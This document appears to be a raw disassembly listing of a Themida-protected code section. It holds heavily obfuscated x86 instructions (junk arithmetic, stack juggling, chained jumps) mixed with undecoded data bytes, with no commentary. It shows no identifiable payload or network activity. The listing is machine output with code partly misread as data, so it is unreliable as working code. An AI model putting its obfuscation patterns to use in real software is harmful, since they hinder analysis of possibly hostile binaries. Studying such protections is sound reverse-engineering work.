loc_54FE73:				; CODE XREF: Themida_:0054EA69j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_54E777
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 62E92404h, 0BDFFFF8Ch, 0BFD25D5h, 0E904EDC1h, 0FFFFC4E5h
; ---------------------------------------------------------------------------

loc_54FE98:				; CODE XREF: Themida_:0055012Cj
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_5525BC
; ---------------------------------------------------------------------------

loc_54FEB9:				; CODE XREF: Themida_:00550C37j
		jnp	loc_55593F
		jmp	loc_55003B
; ---------------------------------------------------------------------------
aSG		db '\И|G',0
		align 2
		dw 1487h
		dd 68535C24h, 4BC615F4h, 964BE95Bh, 6E05FFFFh, 559CE24h
		dd 64C67494h, 0FFEB85E9h, 58C629FFh, 0C681C601h, 6EE3759Dh
		dd 8124048Bh, 4C4h, 0C6B5E900h,	0F180FFFFh, 1F880FF0h
		dd 0E9FFFFCDh, 0FFFFA522h, 24048B66h
		db 5Eh
; ---------------------------------------------------------------------------

loc_54FF15:				; CODE XREF: Themida_:0054B7E9j
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_5536F5
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 4AB200ECh
		sub	dword ptr [esp+4], 5DE53860h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 5DE53860h
		pop	ecx
		jmp	loc_555E3B
; ---------------------------------------------------------------------------

loc_54FF43:				; CODE XREF: Themida_:0054D83Fj
		push	ecx
		jmp	loc_54FAF2
; ---------------------------------------------------------------------------

loc_54FF49:				; CODE XREF: Themida_:005515B6j
		push	11681137h
		pop	edx
		add	dword ptr [esp+4], 0A6715FCh
		jmp	loc_550E2A
; ---------------------------------------------------------------------------

loc_54FF5C:				; CODE XREF: Themida_:0054A7F3j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54D6B6
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 4
		dd 8108E5C1h, 0D2BD4C5h, 50E5D11Bh, 66753CB8h, 4220E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FF7E:				; CODE XREF: Themida_:0054C718j
		add	esi, edi
		jmp	loc_54E5FE
; ---------------------------------------------------------------------------
		dd offset dword_544B64+204h
		align 2
		dw 2C89h
		dd 3BEE924h, 8B660000h,	2FE9240Ch
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FF9B:				; CODE XREF: Themida_:0054B41Aj
		xor	edi, 40F4270Ch
		jmp	loc_551684
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 0E95559C8h, 0FFFF9097h
; ---------------------------------------------------------------------------

loc_54FFB0:				; CODE XREF: Themida_:00550802j
		push	7F3Ch
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54A92B
; ---------------------------------------------------------------------------

loc_54FFC6:				; CODE XREF: Themida_:0054B2AAj
		xor	ebp, 32345B4Bh
		ja	loc_552189
		and	ebp, 7E070E98h
		ja	loc_54AC3D
		mov	[esp], ecx
		mov	ecx, 40h
		sub	ecx, 0CFB1EE8h
		add	ecx, edi
		add	ecx, 0CFB1EE8h
		push	50D0h
		mov	[esp], ebp
		pop	dword ptr [ecx]
		pop	ecx
		jmp	loc_5543AE
; ---------------------------------------------------------------------------
		dd 5B87CB81h, 0EB810C10h, 165DC9D2h, 0E95BDF89h, 51DAh
		dd 81240489h, 4ECh, 24248900h, 4B850h, 44010000h, 9AE90424h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550033:				; CODE XREF: Themida_:0054AE07j
		mov	esp, [esp]
		jmp	loc_555BA2
; ---------------------------------------------------------------------------

loc_55003B:				; CODE XREF: Themida_:0054BEDAj
					; Themida_:0054FEBFj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5507FE
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4F6BE9h
		db 0
; ---------------------------------------------------------------------------

loc_550055:				; CODE XREF: Themida_:0054FB5Dj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55583E
; ---------------------------------------------------------------------------
		db 80h
		dd 0E95873C5h, 0FFFFC130h
; ---------------------------------------------------------------------------

loc_55006C:				; CODE XREF: Themida_:0054AF02j
		add	esp, 4
		or	ebp, 4FBD3B24h
		jp	loc_554F97
		jmp	loc_5505AB
; ---------------------------------------------------------------------------
		dd 592434FFh, 0FFD9B6E9h
		db 0FFh, 53h
; ---------------------------------------------------------------------------

loc_55008A:				; CODE XREF: Themida_:0054C9E0j
		push	dx
		jmp	loc_54F37D
; ---------------------------------------------------------------------------

loc_550091:				; CODE XREF: Themida_:00550B5Cj
		xor	ebx, 7E35BA69h
		sub	edx, ebx
		jmp	loc_5533CE
; ---------------------------------------------------------------------------
		dw 86E9h
		dd 81FFFF88h, 4C6h, 960EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500AE:				; CODE XREF: Themida_:00555B81j
		shr	bl, 2
		shl	bl, 6
		add	bl, 92h
		sub	bl, 49h
		sub	al, 8Ah
		add	al, bl
		add	al, 8Ah
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	bl, 0B8h
		push	cx
		mov	cl, 43h
		jmp	loc_54CA69
; ---------------------------------------------------------------------------

loc_5500D6:				; CODE XREF: Themida_:0054BDB9j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_553001
; ---------------------------------------------------------------------------
		db 5
		dd 59361BCBh, 0D520E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500F6:				; CODE XREF: Themida_:0054E512j
		test	ecx, eax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5500FE:				; CODE XREF: Themida_:00555C78j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_550FC2
; ---------------------------------------------------------------------------

loc_550113:				; CODE XREF: Themida_:loc_55061Fj
		add	edx, 0E7C8D8B8h
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54F9B3
; ---------------------------------------------------------------------------

loc_550126:				; CODE XREF: Themida_:0054CE17j
		add	esp, 4
		jmp	loc_54FE98
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0D5h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550137:				; CODE XREF: Themida_:0054D781j
		sub	al, ch
		sub	al, 0C9h
		pop	ecx
		add	al, dl
		push	bx
		push	ecx
		mov	cl, 46h
		mov	bl, cl
		jmp	loc_54B2CB
; ---------------------------------------------------------------------------

loc_55014A:				; CODE XREF: Themida_:00555E36j
		mov	ebx, esp
		push	ecx
		mov	ecx, 7F503FA5h
		shr	ecx, 6
		and	ecx, 404B5D5Ah
		add	ecx, 40007C07h
		jmp	loc_5503F8
; ---------------------------------------------------------------------------

loc_550166:				; CODE XREF: Themida_:00551776j
		pop	ecx
		neg	ecx
		shl	ecx, 4
		sub	ecx, 2F8212EEh
		xor	ecx, 175C6D6Fh
		jmp	loc_549530
; ---------------------------------------------------------------------------

loc_55017D:				; CODE XREF: Themida_:0054A4BEj
		add	eax, 13220B07h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 800h
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54EB02
; ---------------------------------------------------------------------------
		dw 8AB8h
		dd 0D121E47h, 3BA95FCEh, 77622D40h, 0E883417Eh,	0D1F79101h
		dd 136F3591h, 0F8353D75h, 5038CA04h, 0E3759DB8h, 0FD23E96Eh
		dd 4D4DFFFFh, 1B7DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5501CD:				; CODE XREF: Themida_:0054D793j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_54D75C
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0BA520000h, 607C0550h, 148BD001h, 4C48124h, 1000000h
		dd 5502DC8h, 34FF607Ch,	0E2E95924h, 81FFFFB9h, 4ECh, 240C8900h
		dd 0FF9F8AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550215:				; CODE XREF: Themida_:00552D91j
		pop	ebx
		add	ecx, edx
		sub	ecx, 36882A3Bh
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5508E8
; ---------------------------------------------------------------------------
		db 0B1h, 0E1h, 0E9h
		dd 0FFFFE690h
; ---------------------------------------------------------------------------

loc_550240:				; CODE XREF: Themida_:0054A6B6j
		xor	esi, 1C74FE05h
		add	eax, esi
		pop	esi
		push	eax
		jmp	loc_5507A6
; ---------------------------------------------------------------------------
aIcuH		db '┴ГU╫h',0
		db 45h,	73h, 45h
		dd 0A8198A0Fh, 0B2E9FFFFh, 8BFFFF9Ah, 0D688240Ch, 0D300FA88h
		dd 24148B66h, 6602C483h, 7EBC05Ah, 2C71EB80h, 4D82837h
		dd 4A0DE937h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550286:				; CODE XREF: Themida_:00555920j
		push	cx
		jmp	loc_54DEC5
; ---------------------------------------------------------------------------

loc_55028D:				; CODE XREF: Themida_:005534E5j
		sub	ebp, 0E54BF2C2h
		add	ebx, 627D2BB8h
		add	ebx, ebp
		sub	ebx, 627D2BB8h
		jmp	loc_555989
; ---------------------------------------------------------------------------

loc_5502A6:				; CODE XREF: Themida_:loc_549303j
		neg	edx
		jge	loc_553E34
		jmp	loc_551C80
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0CF8BEC8Ah, 0BE72F335h, 28BE5640h, 13C3A79h,	0E1E95EF0h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5502CB:				; CODE XREF: Themida_:0054FBB6j
		xor	ebx, 3ACD75C8h
		or	ebx, 75602611h
		push	ecx
		jmp	loc_554235
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 54243489h,	1CB8505Eh, 0E972042Eh, 0FFFFB838h
		dd 3390B951h, 0CB215407h, 5EBC159h, 0DEBE9h, 24048F00h
		dd 924248Bh, 9840FC9h, 81FFFFA8h, 4ECh,	24248900h, 4B850h
		dd 31E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550327:				; CODE XREF: Themida_:00551A9Fj
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_555C0B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0B951E389h, 31783D7Dh, 0E9FFE983h, 1968h, 0C581E589h
		dd 4, 0FF9C19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55035D:				; CODE XREF: Themida_:00552A45j
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5D5344CEh
		sub	eax, ebp
		pop	ebp
		add	eax, esi
		add	eax, 5D5344CEh
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 6F58741Eh
		neg	esi
		shl	esi, 4
		not	esi
		inc	esi
		add	esi, 3BDE022Dh
		sub	ebx, 65FD5F0Dh
		add	ebx, esi
		add	ebx, 65FD5F0Dh
		push	dword ptr [esp]
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, 44CF0D2Ah
		add	ebx, eax
		push	ebp
		jmp	loc_55192E
; ---------------------------------------------------------------------------

loc_5503C1:				; CODE XREF: Themida_:0054A52Fj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_551079
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE2434h, 1000000h, 0FF525EF2h, 0E9042474h, 5011h
; ---------------------------------------------------------------------------

loc_5503EC:				; CODE XREF: Themida_:loc_551999j
		jmp	loc_554059
; ---------------------------------------------------------------------------

loc_5503F1:				; CODE XREF: Themida_:005528B3j
		mov	dh, bl
		jmp	loc_54A0C3
; ---------------------------------------------------------------------------

loc_5503F8:				; CODE XREF: Themida_:00550161j
		add	ecx, 0BFB643A3h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_549B44
; ---------------------------------------------------------------------------

loc_550408:				; CODE XREF: Themida_:005491F7j
		mov	esi, esp
		jmp	loc_5533E8
; ---------------------------------------------------------------------------

loc_55040F:				; CODE XREF: Themida_:00552A03j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5496B4
; ---------------------------------------------------------------------------
		dw 0C009h
		dd 40E9840Fh, 0EC810000h, 4, 54240489h,	0FF852CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550435:				; CODE XREF: Themida_:loc_549F4Bj
		or	ebp, 5A032F05h
		jmp	loc_54DD15
; ---------------------------------------------------------------------------

loc_550440:				; CODE XREF: Themida_:00548F82j
		xor	eax, edx
		jmp	loc_5530C2
; ---------------------------------------------------------------------------

loc_550447:				; CODE XREF: Themida_:0054C1D9j
		pop	esi
		add	esi, 3EBF3021h
		or	esi, 231F459Fh
		add	esi, 0A6C738FCh
		mov	ebx, esi
		pop	esi
		jmp	loc_54F96A
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0C5814D06h, 4EFF2FEFh, 2B3A880Fh, 0F5810000h, 5EFC71DCh
		dd 24048155h, 1BF2507Eh, 0FFE5C7E9h, 4C481FFh, 57000000h
		dd 0B268E789h, 89000059h, 68512434h, 56B522FEh,	5AA0E9h
		dd 334CB800h, 6C812B58h, 69EF0824h, 44016882h, 61E90824h
		dd 40000044h, 41C68196h, 0F3FF646h, 0FFBEFD8Dh,	7EEC1FFh
		dd 0E8DF850Fh, 0F796FFFFh, 6A2496D0h, 3F56BD55h, 0F5816AFCh
		dd 6AFC3F54h, 5566E9h, 2EBC100h, 0B447F381h, 0FCE93981h
		dd 8F000056h, 9DE92404h, 2C000013h, 51D0001Bh, 0FFA740E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550505:				; CODE XREF: Themida_:00549F5Dj
		mov	ecx, 3C6262F1h
		add	ecx, edi
		jmp	loc_554E2C
; ---------------------------------------------------------------------------
		db 0E9h, 13h, 84h
		dd 2859FFFFh, 2434FFD0h, 0FFAF22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550521:				; CODE XREF: Themida_:00551871j
		add	esi, 3D805831h
		xor	esi, 6BE5AD8h
		dec	esi
		dec	esi
		push	edx
		mov	edx, 0B437EE6h
		neg	edx
		dec	edx
		neg	edx
		dec	edx
		or	edx, 431162EAh
		xor	edx, 0F54509h
		jmp	loc_551F26
; ---------------------------------------------------------------------------

loc_55054C:				; CODE XREF: Themida_:0054C29Bj
		pop	esp
		pop	small word ptr [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_550556:				; CODE XREF: Themida_:loc_5495F2j
		xor	ebx, 43B30837h
		shr	ebx, 6
		and	ebx, 79860B39h
		add	ebx, 48F1E1Ch
		dec	ebx
		jmp	loc_54A66B
; ---------------------------------------------------------------------------
		db 89h,	0C3h, 0E9h
		dd 0FFFFADC2h
; ---------------------------------------------------------------------------

loc_550578:				; CODE XREF: Themida_:0055561Dj
		sub	edx, 1981203Eh
		mov	edi, edx
		pop	edx
		jmp	loc_54D399
; ---------------------------------------------------------------------------
		dw 8358h
		dd 348904ECh, 949BBE24h, 0F501A6B5h, 0E9E8315Eh, 0FFFFE6AFh
; ---------------------------------------------------------------------------

loc_55059C:				; CODE XREF: Themida_:0054ED1Cj
		add	edx, esi
		jmp	loc_54BEF8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 42E92434h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505AB:				; CODE XREF: Themida_:0055007Bj
					; Themida_:00550601j
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		mov	ebp, 22021158h
		mov	ecx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_54D7F1
; ---------------------------------------------------------------------------
		db 4
		dd 9BFAE903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505DE:				; CODE XREF: Themida_:00553387j
		pop	eax
		jmp	loc_54A3D6
; ---------------------------------------------------------------------------
		dd 0A2E9D5F6h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5505EB:				; CODE XREF: Themida_:00551F5Bj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5505AB
; ---------------------------------------------------------------------------

loc_550606:				; CODE XREF: Themida_:00550E63j
		add	esp, 2
		push	cx
		push	ebp
		mov	bp, 1DBFh
		jmp	loc_54ADDF
; ---------------------------------------------------------------------------

loc_550618:				; CODE XREF: Themida_:0054F451j
		mov	eax, ebx
		jmp	loc_54DA6F
; ---------------------------------------------------------------------------

loc_55061F:				; CODE XREF: Themida_:0054DE6Ej
		jmp	loc_550113
; ---------------------------------------------------------------------------

loc_550624:				; CODE XREF: Themida_:0054F21Bj
		mov	esi, edx
		pop	edx
		jmp	loc_554F2C
; ---------------------------------------------------------------------------
		dd 37F6E950h, 5C290000h, 595B0824h, 0FF82ECE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55063D:				; CODE XREF: Themida_:005525FDj
		pop	edx
		jmp	loc_5554B0
; ---------------------------------------------------------------------------

loc_550643:				; CODE XREF: Themida_:00549F3Bj
		push	ebx
		jmp	loc_55318B
; ---------------------------------------------------------------------------

loc_550649:				; CODE XREF: Themida_:00555D5Bj
		mov	al, 0Fh
		add	al, 8Ch
		jmp	loc_552B65
; ---------------------------------------------------------------------------

loc_550652:				; CODE XREF: Themida_:loc_55215Fj
		sub	esi, 51761AF7h
		jmp	loc_551C44
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4EC81h, 3C890000h, 68E78924h, 7ECAh,	0B9240C89h, 4
		dd 6F50EF81h, 0EF81736Ah, 6F1472F2h, 0FF8D67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550689:				; CODE XREF: Themida_:0054F4CFj
		push	dx
		push	eax
		mov	ah, 3Ch
		mov	dl, ah
		jmp	loc_54FA50
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 42474FFh, 83243C8Bh,	48F04C4h, 24248B24h, 0FFBA25E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5506AD:				; CODE XREF: Themida_:00554CB8j
		pop	ecx
		jmp	loc_555BD0
; ---------------------------------------------------------------------------

loc_5506B3:				; CODE XREF: Themida_:00551266j
		add	esp, 4
		push	2261h
		mov	[esp], edi
		push	800000h
		pop	edi
		jmp	loc_551552
; ---------------------------------------------------------------------------

loc_5506C9:				; CODE XREF: Themida_:0055342Fj
		mov	ebp, 5EDC5F56h
		jmp	loc_548D8C
; ---------------------------------------------------------------------------

loc_5506D3:				; CODE XREF: Themida_:00549EFAj
		xor	eax, 0C04EFD4Eh
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, 56EA28F9h
		and	esi, 63AD41E4h
		inc	esi
		jmp	loc_54CE45
; ---------------------------------------------------------------------------

loc_5506F2:				; CODE XREF: Themida_:loc_54AB47j
		inc	eax
		jns	loc_548B06
		jmp	loc_555EC2
; ---------------------------------------------------------------------------
		dw 2959h
		dd 67A52DF8h, 0C48160DEh, 4, 0FFFDE2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550711:				; CODE XREF: Themida_:0054C54Dj
		xor	edi, 0FF7088h
		jmp	loc_5550B4
; ---------------------------------------------------------------------------

loc_55071C:				; CODE XREF: Themida_:00553E0Aj
		add	ebp, 0D75A87A2h
		add	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_55444B
; ---------------------------------------------------------------------------

loc_550744:				; CODE XREF: Themida_:00552DFDj
		add	esp, 4
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_54BCDC
; ---------------------------------------------------------------------------

loc_550758:				; CODE XREF: Themida_:0054B6C8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54AEF9
; ---------------------------------------------------------------------------
		dw 0CC2Dh
		dd 52BC602h, 22F036D5h,	0BE56D801h, 6E5C5180h, 0A2E9D6F7h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55078B:				; CODE XREF: Themida_:00548EEAj
		sub	dx, 935h
		not	dx
		jmp	loc_54BFA3
; ---------------------------------------------------------------------------

loc_550798:				; CODE XREF: Themida_:0054C2ABj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_54E1FD
; ---------------------------------------------------------------------------

loc_5507A6:				; CODE XREF: Themida_:0055024Aj
		push	dword ptr [esp+4]
		jmp	loc_552A08
; ---------------------------------------------------------------------------

loc_5507AF:				; CODE XREF: Themida_:0054EF2Cj
		push	eax
		push	ebp
		mov	ebp, 105535D8h
		not	ebp
		shl	ebp, 6
		neg	ebp
		inc	ebp
		shr	ebp, 8
		sub	ebp, 0BDB447A7h
		mov	eax, ebp
		pop	ebp
		jmp	loc_555BD9
; ---------------------------------------------------------------------------

loc_5507CF:				; CODE XREF: Themida_:005514D2j
		push	3205h
		mov	[esp], eax
		push	4891h
		mov	[esp], ebp
		push	5F446E9Bh
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 0A0BBA165h
		push	ebp
		pop	eax
		pop	ebp
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54F1A8
; ---------------------------------------------------------------------------

loc_5507FE:				; CODE XREF: Themida_:00550045j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54FFB0
; ---------------------------------------------------------------------------

loc_550807:				; CODE XREF: Themida_:0054A19Aj
		mov	eax, 4
		jmp	loc_54D5F3
; ---------------------------------------------------------------------------

loc_550811:				; CODE XREF: Themida_:0054AFADj
		pop	ecx
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5530D2
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 8B39CCF5h, 0E9E9013Fh, 4D5Eh
; ---------------------------------------------------------------------------

loc_550840:				; CODE XREF: Themida_:005498A6j
		jp	loc_5521DC
		not	ebp
		xor	ebp, 98E1CEF6h
		mov	bh, 63h

loc_550850:				; CODE XREF: Themida_:0054DF8Bj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	ebp
		mov	ebp, 2
		sub	edi, 7CB31CCAh
		jmp	loc_5549B0
; ---------------------------------------------------------------------------

loc_55087B:				; CODE XREF: Themida_:00552086j
		push	7B6Ah
		mov	[esp], esi
		mov	esi, 5C6809B5h
		add	esi, 0C1954CC7h
		add	ebx, 6EC143C7h
		jmp	loc_54CDE7
; ---------------------------------------------------------------------------

loc_550899:				; CODE XREF: Themida_:0054D09Aj
		sub	bl, 0Bh
		pop	edx
		sub	bl, 26h
		push	edx
		mov	dh, 23h
		add	dh, 0AAh
		sub	dh, 14h
		inc	dh
		dec	dh
		shl	dh, 6
		xor	dh, 0A7h
		jmp	loc_5545A2
; ---------------------------------------------------------------------------
		dd 1C78E9h
		db 0
; ---------------------------------------------------------------------------

loc_5508BD:				; CODE XREF: Themida_:005541D6j
		mov	edi, 1C8D3AEEh
		sub	edi, 0DDAE446Ah
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		neg	ecx
		sub	ecx, 0AEC824DCh
		xor	edi, ecx
		mov	ecx, [esp]
		jmp	loc_54E502
; ---------------------------------------------------------------------------

loc_5508E8:				; CODE XREF: Themida_:00550234j
		push	ecx
		mov	ecx, esp
		push	eax
		push	edi
		push	3C6065B8h
		pop	edi
		add	edi, 0FE4CCF8Eh
		mov	eax, edi
		pop	edi
		xor	eax, 39B166AEh
		shr	eax, 7
		jmp	loc_555F9A
; ---------------------------------------------------------------------------

loc_550909:				; CODE XREF: Themida_:0054922Cj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54C029
; ---------------------------------------------------------------------------

loc_550916:				; CODE XREF: Themida_:loc_553E9Fj
		push	edx
		mov	dh, 3Ah
		shr	dh, 5
		neg	dh
		jmp	loc_549EEF
; ---------------------------------------------------------------------------
		db 0FFh
a4Ysa		db '4$YИ═:',0
		align 4
		dd 8143D3F7h, 0B3089EEBh, 0C0840F7Eh, 81FFFFD1h, 0D853B5C3h
		dd 8BDE317Bh, 2FE9241Ch, 3Eh, 241C8BD8h, 0FFACBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550955:				; CODE XREF: Themida_:0054E4EDj
		pop	cx
		inc	cx
		jp	loc_548ED9
		shl	cx, 7
		shr	cx, 3
		add	cx, 5A86h
		mov	esi, ebx

loc_55096E:				; CODE XREF: Themida_:0054E859j
		add	ebx, edx
		add	ebx, 10BC23ADh
		push	edi
		jmp	loc_54B415
; ---------------------------------------------------------------------------

loc_55097C:				; CODE XREF: Themida_:00549484j
		xor	ebp, [esp]
		jmp	loc_54BEAF
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 51C0001Eh, 4F5DBE56h, 814636B4h,	8D0BC7C6h
		dd 95EE8150h, 0E9463E46h, 0FFFFE3D9h
; ---------------------------------------------------------------------------

loc_5509A4:				; CODE XREF: Themida_:0054FA4Bj
		pop	esp
		retn
; ---------------------------------------------------------------------------
		dw 5E9h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5509AB:				; CODE XREF: Themida_:0054DAB0j
		mov	ebx, 20145F13h
		or	edx, ebx
		jmp	loc_555F20
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	62E99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5509C7:				; CODE XREF: Themida_:00551B9Aj
		neg	ebp
		inc	ebp
		jns	loc_54BC94
		jmp	loc_54BCC9
; ---------------------------------------------------------------------------

loc_5509D5:				; CODE XREF: Themida_:0054C417j
		pop	ebx
		sub	esi, edx
		pop	edx
		jmp	loc_54B987
; ---------------------------------------------------------------------------

loc_5509DE:				; CODE XREF: Themida_:0054D611j
					; Themida_:0055166Dj
		sub	edx, ebx
		pop	ebx
		sub	edx, eax
		jmp	loc_551521
; ---------------------------------------------------------------------------
		dd 295EF029h, 24048BC2h, 0FFC0DCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5509F5:				; CODE XREF: Themida_:0054F4E1j
					; Themida_:00554843j
		mov	ebx, 367D3478h
		xor	ebx, 548A470Dh
		dec	ebx
		jmp	loc_5556A3
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 37E90000h, 81FFFFF6h, 4C2h, 4685000h, 58000000h
		dd 8758C229h, 0E95C2414h, 0FFFFFF58h
; ---------------------------------------------------------------------------

loc_550A2C:				; CODE XREF: Themida_:0054B1FBj
		popa
		jmp	loc_5518DE
; ---------------------------------------------------------------------------

loc_550A32:				; CODE XREF: Themida_:00553510j
		push	eax
		mov	ah, 20h
		jmp	loc_549B4A
; ---------------------------------------------------------------------------

loc_550A3A:				; CODE XREF: Themida_:005514EEj
		add	esp, 4
		jmp	loc_553322
; ---------------------------------------------------------------------------
		db 59h,	0F7h, 0D1h
		dd 8B50E981h, 0CE8923D6h, 0EEC14659h, 34B85003h, 810CC222h
		dd 3634AEC6h, 0CFEE811Ch, 2929C376h, 0DD89E9C6h, 0EE29FFFFh
		dd 69C6815Dh, 29992431h, 24348BF7h, 5604C483h, 0AE646EBEh
		dd 77EE915h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550A8A:				; CODE XREF: Themida_:005529CFj
					; Themida_:00552DAFj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_54BAE6
; ---------------------------------------------------------------------------

loc_550AB7:				; CODE XREF: Themida_:00549B25j
		add	esp, 4
		jmp	loc_554577
; ---------------------------------------------------------------------------

loc_550ABF:				; CODE XREF: Themida_:00551505j
					; Themida_:005548D1j
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	eax
		mov	ecx, [esp]
		jmp	loc_54B08A
; ---------------------------------------------------------------------------

loc_550ADD:				; CODE XREF: Themida_:0054DC4Fj
		add	edi, edx
		sub	edi, 23D9156Ah
		add	edi, 5FCF70EBh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_549EEA
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 7E23E924h
		db 2 dup(0FFh)
